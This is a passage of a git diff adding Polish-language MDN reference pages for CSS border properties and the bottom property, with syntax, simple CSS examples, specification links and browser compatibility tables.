href="/pl/CSS/border-bottom-width" title="pl/CSS/border-bottom-width">border-bottom-width</a></code>, aby uzyskać więcej informacji.</p> + +<p>{{ languages( { "de": "de/CSS/border-right-width", "en": "en/CSS/border-right-width", "fr": "fr/CSS/border-right-width", "ja": "ja/CSS/border-right-width" } ) }}</p> diff --git a/files/pl/web/css/border-right/index.html b/files/pl/web/css/border-right/index.html new file mode 100644 index 0000000000..a4510f4614 --- /dev/null +++ b/files/pl/web/css/border-right/index.html @@ -0,0 +1,123 @@ +--- +title: border-right +slug: Web/CSS/border-right +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-right +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <code>border-right</code> jest skróconą własnością dla ustawienia szerokości, stylu i koloru prawej krawędzi elementu. Ta własność może być używana do ustawienia jednej lub kilku wartości: {{ Cssxref("border-right-width") }}, {{ Cssxref("border-right-style") }}, {{ Cssxref("border-right-color") }}. Pominięte wartości są ustawiane do ich wartości początkowych.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">border-right: [<em>border-width</em> || <em>border-style</em> || <em>border-color</em> | <em>inherit</em>] ; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>border-width</dt> + <dd>Zobacz {{ Cssxref("border-width") }}.</dd> + <dt>border-style </dt> + <dd>Zobacz {{ Cssxref("border-style") }}.</dd> + <dt>border-color </dt> + <dd>Zobacz {{ Cssxref("border-color") }}.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>element { + border-right: 1px solid #000; +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Jeśli reguła nie określi koloru krawędzi, krawędź będzie miała kolor zdefiniowany przez własność {{ Cssxref("color") }}.</p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{ SpecName('CSS3 Backgrounds', '#border-right', 'border-right') }}</td> + <td>{{ Spec2('CSS3 Backgrounds') }}</td> + <td>No direct changes, though the modification of values for the {{ cssxref("border-right-color") }} do apply to it.</td> + </tr> + <tr> + <td>{{ SpecName('CSS2.1', 'box.html#propdef-border-right', 'border-right') }}</td> + <td>{{ Spec2('CSS2.1') }}</td> + <td>No significant changes</td> + </tr> + <tr> + <td>{{ SpecName('CSS1', '#border-right', 'border-right') }}</td> + <td>{{ Spec2('CSS1') }}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{ CompatGeckoDesktop("1.0") }}</td> + <td>4</td> + <td>3.5</td> + <td>1.0 (85)</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{ CompatGeckoMobile("1.0") }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + <td>{{ CompatVersionUnknown() }}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/css/border-spacing/index.html b/files/pl/web/css/border-spacing/index.html new file mode 100644 index 0000000000..d9085b8bfc --- /dev/null +++ b/files/pl/web/css/border-spacing/index.html @@ -0,0 +1,101 @@ +--- +title: border-spacing +slug: Web/CSS/border-spacing +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-spacing +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Własność <code>border-spacing</code> określa odległość pomiędzy obramowaniami sąsiadujących komórek (tylko dla <code><a href="pl/CSS/border-collapse">rozdzielnych obramowań</a></code>). Jest to odpowiednik atrybutu <code>cellspacing</code> w HTML-u.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: 0</li> + <li>Dotyczy: tabel i tabel zagnieżdżonych</li> + <li>{{ Xref_cssinherited() }}: Tak</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: dwie całkowite odległości</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<p>border-spacing: <length> | <length> <length> | inherit</p> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<ul> + <li><strong><length></strong> : Jednakowa odległość w pionie i poziomie.</li> + <li><strong><length> <length></strong> : Pierwsza wartość podaje poziomą odległość (przestrzeń pomiędzy komórką i sąsiednimi kolumnami), druga odległość pionową (pomiędzy komórką i sąsiadującymi z nią wierszami).</li> +</ul> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p><a href="/samples/cssref/border-spacing.html">Zobacz przykład</a></p> + +<pre>table#space { + border-collapse: separate; + border-spacing: 10px 5px; +} +</pre> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>Ta własność ma zastosowanie tylko, gdy {{ Cssxref("border-collapse") }} ma wartość "separate".</p> + +<p>Własność <code>border-spacing</code> jest również używana przy zewnętrznej krawędzi tabeli, gdzie odległość pomiędzy obramowaniem tabeli a komórkami pierwszej/ostatniej kolumny lub wiersza jest sumą istotnej (poziomej lub pionowej) odległości od obramowania i istotnej (górnej, lewej, dolnej lub prawej) krawędzi tabeli.</p> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/tables.html#propdef-border-spacing">CSS 2.1</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Netscape</td> + <td>6</td> + </tr> + <tr> + <td>Internet Explorer</td> + <td>7</td> + </tr> + <tr> + <td>Firefox</td> + <td>1</td> + </tr> + <tr> + <td>Mozilla</td> + <td>1</td> + </tr> + <tr> + <td>Safari</td> + <td>1</td> + </tr> + <tr> + <td>Opera</td> + <td>6</td> + </tr> + </tbody> +</table> + +<p> </p> + +<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC">Zobacz również</h3> + +<p>{{ Cssxref("border-collapse") }}</p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/CSS/border-spacing", "es": "es/CSS/border-spacing", "fr": "fr/CSS/border-spacing" } ) }}</p> diff --git a/files/pl/web/css/border-style/index.html b/files/pl/web/css/border-style/index.html new file mode 100644 index 0000000000..948d86d8a3 --- /dev/null +++ b/files/pl/web/css/border-style/index.html @@ -0,0 +1,126 @@ +--- +title: border-style +slug: Web/CSS/border-style +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-style +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Własność <code>border-style</code> jest skróconą własnością dla ustawienia stylu linii dla wszystkich czterech stron obramowania elementów.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("none") }} lub jak w indywidualnych własnościach</li> + <li>Stosowana do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: jak w indywidualnych własnościach</li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">border-style: [ <border-style> ]{1,4} | <em>inherit</em> +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><border-style></dt> + <dd>Style linii mogą przyjąć którąś z podanych wartości.</dd> +</dl> + +<ul> + <li><strong>none</strong> : Brak obramowania, ustawia szerokość na 0. Jest to domyślna wartość.</li> + <li><strong>hidden</strong> : Tak samo jako 'none', oprócz konfliktu rozdzielczości obramowania dla elementów tabeli.</li> + <li><strong>dashed</strong> : Serie kresek lub fragmentów linii.</li> + <li><strong>dotted</strong> : Serie kropek.</li> + <li><strong>double</strong> : Dwie proste linie, które dają w sumie liczbę pikseli zdefiniowaną jako <code>border-width</code>.</li> + <li><strong>groove</strong> : Efekt wyrzeźbienia.</li> + <li><strong>inset</strong> : Sprawia wrażenie, że blok jest zapadnięty.</li> + <li><strong>outset</strong> : Przeciwieństwo 'inset'. Sprawia, że blok wydaje się trójwymiarowy (wysunięty).</li> + <li><strong>ridge</strong> : Przeciwieństwo 'groove'. Obramowanie wydaje się trójwymiarowe (zapowiadane).</li> + <li><strong>solid</strong> : Pojedyncza, prosta, ciągła linia.</li> +</ul> + +<p>Można podać do czterech wartości.<br> + Pierwsza wartość ustawia wszystkie cztery krawędzie.<br> + Druga ustawia lewą i prawą.<br> + Trzecia ustawia dolną.<br> + Czwarta ustawia lewą</p> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p> + +<pre>element { + border-width: 1px; + border-style: solid; + border-color: black; +} +</pre> + +<h3 id="Notatki" name="Notatki">Notatki</h3> + +<p>Domyślnie <code>border-style</code> jest ustawione na <code>none</code>. To oznacza, że, jeśli zmieniasz wartość {{ Cssxref("border-width") }} oraz {{ Cssxref("border-color") }}, nie zobaczysz obramowania, dopóki nie zmienisz tej wartości na inną niż <code>none</code> lub <code>hidden</code></p> + + + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#border-style">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-style-properties">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-style">CSS 3</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Firefox</td> + <td>1</td> + </tr> + <tr> + <td>Netscape</td> + <td>4</td> + </tr> + <tr> + <td>Opera</td> + <td>3.5</td> + </tr> + </tbody> +</table> + +<h3 id="Rozszerzenia_Mozilli" name="Rozszerzenia_Mozilli">Rozszerzenia Mozilli</h3> + +<p>Następujące rozszerzenia Mozilli ustawiają poszczególne strony obramowania na wielokrotny kolor dla przeglądarek opartych na silniku Gecko.</p> + +<ul> + <li>{{ Cssxref("-moz-border-bottom-colors") }}</li> + <li>{{ Cssxref("-moz-border-left-colors") }}</li> + <li>{{ Cssxref("-moz-border-right-colors") }}</li> + <li>{{ Cssxref("-moz-border-top-colors") }}</li> +</ul> + +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> + +<p>{{ Cssxref("border") }}, {{ Cssxref("border-width") }}, {{ Cssxref("border-color") }}, {{ Cssxref("-moz-border-radius") }}</p> + + + +<p>{{ languages( { "de": "de/CSS/border-style", "en": "en/CSS/border-style", "es": "es/CSS/border-style", "fr": "fr/CSS/border-style", "ja": "ja/CSS/border-style" } ) }}</p> diff --git a/files/pl/web/css/border-top-color/index.html b/files/pl/web/css/border-top-color/index.html new file mode 100644 index 0000000000..0f28de470d --- /dev/null +++ b/files/pl/web/css/border-top-color/index.html @@ -0,0 +1,14 @@ +--- +title: border-top-color +slug: Web/CSS/border-top-color +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-top-color +--- +<p>{{ CSSRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>border-top-color</code> ustawia kolor górnego obramowania elementu.</p> +<p>Zobacz własność <code><a href="/pl/CSS/border-bottom-color" title="pl/CSS/border-bottom-color">border-bottom-color</a></code>, aby uzyskać więcej informacji.</p> diff --git a/files/pl/web/css/border-top-left-radius/index.html b/files/pl/web/css/border-top-left-radius/index.html new file mode 100644 index 0000000000..d35e50e7a0 --- /dev/null +++ b/files/pl/web/css/border-top-left-radius/index.html @@ -0,0 +1,20 @@ +--- +title: '-moz-border-radius-topleft' +slug: Web/CSS/border-top-left-radius +tags: + - CSS + - 'CSS:Dokumentacje' + - 'CSS:Rozszerzenia_Mozilli' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-top-left-radius +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>W aplikacjach opartych na Mozilli <code>-moz-border-radius-topleft</code> ustawia zaokrąglenie górnego lewego rogu obramowania.</p> + +<p>Zobacz więcej informacji we własności <a href="/pl/CSS/-moz-border-radius" title="pl/CSS/-moz-border-radius">-moz-border-radius</a>.</p> + +<p>{{ languages( { "de": "de/CSS/border-top-left-radius", "en": "en/CSS/-moz-border-radius-topleft", "fr": "fr/CSS/border-top-left-radius", "ja": "ja/CSS/border-top-left-radius" } ) }}</p> diff --git a/files/pl/web/css/border-top-right-radius/index.html b/files/pl/web/css/border-top-right-radius/index.html new file mode 100644 index 0000000000..1bfdcab43d --- /dev/null +++ b/files/pl/web/css/border-top-right-radius/index.html @@ -0,0 +1,14 @@ +--- +title: border-top-right-radius +slug: Web/CSS/border-top-right-radius +tags: + - CSS +translation_of: Web/CSS/border-top-right-radius +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>W aplikacjach opartych na Mozilli <code>border-top-right-radius</code> ustawia zaokrąglenie górnego prawego rogu obramowania.</p> + +<p>Zobacz więcej informacji we własności <a href="/pl/CSS/-moz-border-radius" title="pl/CSS/-moz-border-radius">border-radius</a>.</p> diff --git a/files/pl/web/css/border-top-style/index.html b/files/pl/web/css/border-top-style/index.html new file mode 100644 index 0000000000..a6c65d9776 --- /dev/null +++ b/files/pl/web/css/border-top-style/index.html @@ -0,0 +1,16 @@ +--- +title: border-top-style +slug: Web/CSS/border-top-style +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-top-style +--- +<p>{{ CSSRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>border-top-style</code> ustawia styl linii górnego obramowania bloku.</p> +<p>Zobacz własność <code><a href="/pl/CSS/border-bottom-style" title="pl/CSS/border-bottom-style">border-bottom-style</a></code>, aby uzyskać więcej informacji.</p> + +<p>{{ languages( { "de": "de/CSS/border-top-style", "en": "en/CSS/border-top-style", "fr": "fr/CSS/border-top-style", "ja": "ja/CSS/border-top-style" } ) }}</p> diff --git a/files/pl/web/css/border-top-width/index.html b/files/pl/web/css/border-top-width/index.html new file mode 100644 index 0000000000..f1f68284fa --- /dev/null +++ b/files/pl/web/css/border-top-width/index.html @@ -0,0 +1,16 @@ +--- +title: border-top-width +slug: Web/CSS/border-top-width +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-top-width +--- +<p>{{ CSSRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>border-top-width</code> ustawia szerokość górnego obramowania bloku.</p> +<p>Zobacz własciwość <a href="/pl/CSS/border-bottom-width" title="pl/CSS/border-bottom-width">border-bottom-width</a>, aby uzyskać więcej informacji.</p> + +<p>{{ languages( { "de": "de/CSS/border-top-width", "en": "en/CSS/border-top-width", "fr": "fr/CSS/border-top-width", "ja": "ja/CSS/border-top-width" } ) }}</p> diff --git a/files/pl/web/css/border-top/index.html b/files/pl/web/css/border-top/index.html new file mode 100644 index 0000000000..941f0a6821 --- /dev/null +++ b/files/pl/web/css/border-top/index.html @@ -0,0 +1,123 @@ +--- +title: border-top +slug: Web/CSS/border-top +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-top +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <code>border-top</code> jest skróconą własnością dla ustawienia szerokości, stylu i koloru górnej krawędzi elementu. Ta własność może być używana do ustawienia jednej lub kilku wartości: {{ Cssxref("border-top-width") }}, {{ Cssxref("border-top-style") }}, {{ Cssxref("border-top-color") }}. Pominięte wartości są ustawiane do ich wartości początkowych.</p> + +<div>{{cssinfo}}</div> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">border-top: [<em>border-width</em> || <em>border-style</em> || <em>border-color</em> | <em>inherit</em>] ; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>border-width</dt> + <dd>Zobacz {{ Cssxref("border-width") }}.</dd> + <dt>border-style </dt> + <dd>Zobacz {{ Cssxref("border-style") }}.</dd> + <dt>border-color </dt> + <dd>Zobacz {{ Cssxref("border-color") }}.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<pre>element { + border-top: 1px solid #000; +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Jeśli reguła nie określi koloru krawędzi, krawędź będzie miała kolor zdefiniowany przez własność {{ Cssxref("color") }}.</p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Backgrounds', '#border-top', 'border-top')}}</td> + <td>{{Spec2('CSS3 Backgrounds')}}</td> + <td>No direct changes, though the modification of values for the {{cssxref("border-top-color")}} do apply to it.</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'box.html#propdef-border-top', 'border-top')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>No significant changes</td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#border-top', 'border-top')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.0")}}</td> + <td>4</td> + <td>3.5</td> + <td>1.0 (85)</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoMobile("1.0")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/css/border-width/index.html b/files/pl/web/css/border-width/index.html new file mode 100644 index 0000000000..ec17638eff --- /dev/null +++ b/files/pl/web/css/border-width/index.html @@ -0,0 +1,113 @@ +--- +title: border-width +slug: Web/CSS/border-width +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/border-width +--- +<p>{{ CSSRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p><code>border-width</code> ustawia szerokość obramowania bloku.</p> + +<ul> + <li>{{ Xref_cssinitial() }}: {{ Cssxref("medium") }}</li> + <li>Stasowana do: wszystkich elementów</li> + <li>{{ Xref_cssinherited() }}: nie</li> + <li>Procenty: niedostępne</li> + <li>Media: {{ Xref_cssvisual() }}</li> + <li>{{ Xref_csscomputed() }}: długość całkowita; '0' jeśli stylem obramowania jest <code>none</code> lub <code>hidden</code></li> +</ul> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">border-width: <border-width> {1,4} | inherit +</pre> + +<h3 id="Warto.C5.9Bci_.3Cborder-width.3E" name="Warto.C5.9Bci_.3Cborder-width.3E">Wartości <border-width></h3> + +<dl> + <dt><strong><border-width-value></strong></dt> + <dd><code>thin | medium | thick | </code> {{cssxref("<length>")}} <code>|</code> {{cssxref("<percentage>")}}</dd> + <dt>thin</dt> + <dd>Cienkie obramowanie.</dd> + <dt>medium</dt> + <dd>Średnie obramowanie.</dd> + <dt>thick</dt> + <dd>Grube obramowanie.</dd> + <dt><length></dt> + <dd>Grubość obramowania ma sprecyzowaną wartość. Sprecyzowana szerokość obramowania nie może być ujemna.</dd> + <dt><percentage></dt> + <dd>Grubość obramowania ma wartość procentową, w procentach szerokości zawierającego bloku. Sprecyzowane szerokości nie mogą być ujemne.</dd> +</dl> + +<p>Uwaga: Wartość <code>em</code> jest również dopuszczalna.</p> + +<h3 id="Powi.C4.85zane_w.C5.82asno.C5.9Bci" name="Powi.C4.85zane_w.C5.82asno.C5.9Bci">Powiązane własności</h3> + +<ul> + <li>{{ Cssxref("border-bottom-width") }}</li> + <li>{{ Cssxref("border-left-width") }}</li> + <li>{{ Cssxref("border-right-width") }}</li> + <li>{{ Cssxref("border-top-width") }}</li> +</ul> + +<p> </p> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p> + +<pre>element { + border-width: thin; + border-style: solid; + border-color: #000; +} +</pre> + +<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS1#border-width">CSS 1</a></li> + <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-width-properties">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-width">CSS 3</a></li> +</ul> + +<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td> </td> + </tr> + <tr> + <td>Firefox</td> + <td> </td> + </tr> + <tr> + <td>Netscape</td> + <td> </td> + </tr> + <tr> + <td>Opera</td> + <td> </td> + </tr> + </tbody> +</table> + +<p> </p> + +<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC">Zobacz również</h3> + +<p>{{ Cssxref("border") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }},</p> + +<p>{{ languages( { "de": "de/CSS/border-width", "en": "en/CSS/border-width", "es": "es/CSS/border-width", "fr": "fr/CSS/border-width", "ja": "ja/CSS/border-width" } ) }}</p> diff --git a/files/pl/web/css/border/index.html b/files/pl/web/css/border/index.html new file mode 100644 index 0000000000..21b8f42f9a --- /dev/null +++ b/files/pl/web/css/border/index.html @@ -0,0 +1,123 @@ +--- +title: border +slug: Web/CSS/border +tags: + - CSS +translation_of: Web/CSS/border +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <code>border</code> jest skróconą własnością dla ustawienia indywidualnych wartości własności obramowania w jednym miejscu w arkuszu stylów. <code>border</code> może być używane do ustawienia jednej lub więcej z następujących własności: {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}.</p> + +<p>{{cssinfo}}</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">border: [<em>border-width</em> || <em>border-style</em> || <em>border-color</em> | <em>inherit</em>] ; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt>border-width</dt> + <dd>Zobacz {{ Cssxref("border-width") }}.</dd> + <dt>border-style </dt> + <dd>Zobacz {{ Cssxref("border-style") }}.</dd> + <dt>border-color </dt> + <dd>Zobacz {{ Cssxref("border-color") }}.</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<p><a href="/samples/cssref/border.html">Zobacz przykład</a></p> + +<pre>element { + border: 1px solid #000; +} +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Podczas, gdy własności {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }} oraz {{ Cssxref("border-color") }} przyjmują do czterech wartości, ta własność przyjmuje tylko jedną wartość dla każdej własności.</p> + +<h2 id="Specifications" name="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Backgrounds', '#the-border-shorthands', 'border')}}</td> + <td>{{Spec2('CSS3 Backgrounds')}}</td> + <td>Technically removes the support for <code>transparent</code> as it is now a valid {{cssxref("<color>")}}; this has no practical influence.<br> + Though it cannot be set to another value using the shorthand, <code>border</code> does now reset {{cssxref("border-image")}} to its initial value (<code>none</code>).</td> + </tr> + <tr> + <td>{{SpecName('CSS2.1', 'box.html#border-shorthand-properties', 'border')}}</td> + <td>{{Spec2('CSS2.1')}}</td> + <td>Accepts the <code>inherit</code> keyword. Also accepts <code>transparent</code> as a valid color.</td> + </tr> + <tr> + <td>{{SpecName('CSS1', '#border', 'border')}}</td> + <td>{{Spec2('CSS1')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> + +<p>{{ CompatibilityTable }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>1.0</td> + <td>{{CompatGeckoDesktop("1.0")}}</td> + <td>4.0</td> + <td>3.5</td> + <td>1.0 (85)</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatUnknown()}}</td> + <td>{{CompatGeckoMobile("1.9.2")}}</td> + <td>{{CompatUnknown()}}</td> + <td>{{CompatUnknown()}}</td> + <td>1.0</td> + </tr> + </tbody> +</table> +</div> diff --git a/files/pl/web/css/bottom/index.html b/files/pl/web/css/bottom/index.html new file mode 100644 index 0000000000..097a323292 --- /dev/null +++ b/files/pl/web/css/bottom/index.html @@ -0,0 +1,149 @@ +--- +title: bottom +slug: Web/CSS/bottom +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/bottom +--- +<p>{{ CSSRef() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Właściwość <code>bottom</code> określa część pozycji elementu pozycjonowanego.</p> + +<p>Dla elementów pozycjonowanych absolutnie (tych z <code>position: absolute</code> lub <code>position: fixed</code>) określa odległość między dolnym marginesem krawędzi elementu a dolną krawędzią zawierającego go bloku.</p> + +<p>Dla elementów pozycjonowanych relatywnie (tych z <code>position: relative</code>) określa wartość, o jaką element jest przesunięty powyżej jego normalnej pozycji. Jednak własność {{ Cssxref("top") }} unieważnia własność <code>bottom</code>, zatem, jeśli <code>top</code> nie jest ustawione na <code>auto</code>, wartość wyliczona <code>bottom</code> jest ujemną wartością wyliczoną <code>top</code><strong>.</strong></p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval"> bottom: <length> | <percentage> | auto | inherit +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><length> </dt> + <dd>Długość, używana jak w opisano w <a href="#Podsumowanie">podsumowaniu</a>. Może mieć wartość ujemną, zero lub 